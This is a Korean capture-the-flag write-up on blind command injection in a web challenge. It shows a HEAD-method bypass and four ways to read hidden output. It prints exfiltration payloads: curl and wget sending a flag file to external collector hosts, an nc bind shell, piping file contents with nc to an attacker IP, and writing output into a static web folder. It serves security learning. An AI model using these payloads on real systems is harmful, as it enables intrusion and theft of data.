Network Outbound
Bind Shell
Reverse Shell
static file directory
HTTP method
Port Forwarding
이번 문제의 코드를 보면 이상한점이 많다
os.system(cmd)
코드가 실행된다os.system(cmd)
의 결과를 따로 출력해주지 않는다하나하나 천천히 알아보자
GET, HEAD, OPTIONS
이를 통해 GET이지만 GET이 아닌 HEAD메소드를 통해 system명령어를 실행할 수 있을것이다
OPTIONS메소드를 이용해서 head가 사용가능한지 알아보자
head가 사용가능하다
이제 요청을 보낼 땐 head로 보내자
command injection 실행 결과를 알 수 없을 때 4가지 방법이 있다
각 방법들에 대해 자세히 알아보자
실행 결과를 외부 서버로 전송하는 방법
payload
curl http://jrnvume.request.dreamhack.games/ -d $(cat flag.py)
wget https://dzmnkob.request.dreamhack.games --method=POST --body-data="`cat flag.py`"
이 문제에서는 curl이 실행이 안된다;; 서버에서 막은 것 같다
flag를 wget 으로 획득했다
서버의 특정 port를 열어 공격자가 접속하는 방법
payload
nc -lvp [portnum]
공격대상 서버에 해당 payload로 port를 열고 공격자가 접속을 하면 된다
하지만, 이 문제에서는 특정 포트를 열어도 포트포워딩 설정을 할 수 없어 bind shell로는 결과를 알 수 없다
공격자가 특정 port를 열어 서버가 접속하도록 하는 방법
payload
cat flag.py | nc [myIP] [portnum]
로컬에서 포트를 열어주고 서버를 연결시켜보자
내 노트북이랑 연결되면서 flag가 전송되었다
웹 루트 하위폴더(static)에 File을 생성해 접근하는 방법
프레임워크 또는 다양한 웹 어플리케이션에서는 JS/CSS/Img 등의 정적 리소스를 다루기 위해 Static File Directory를 사용한다
payload
mkdir static; cat flag.py > static/result.txt
static폴더에 command 실행결과를 파일로 저장하면 웹에서도 접근할 수 있을 것이다
기존에는 존재하지 않던 경로인 static/result.txt
에 접근하니 실행결과가 화면에 출력되어 flag를 획득했다
이번 문제는 정말 중요하다고 생각했다
시스템 명령어를 실행하는 간단한 문제이지만 이를 해결하기위해
HTTP헤더, 네트워크 설정, 웹 애플리케이션 등등 다양한 지식의 이해가 필요하기 때문이다
여러 방법을 직접 실습해보면서 해킹안목을 넓히는 좋은 문제다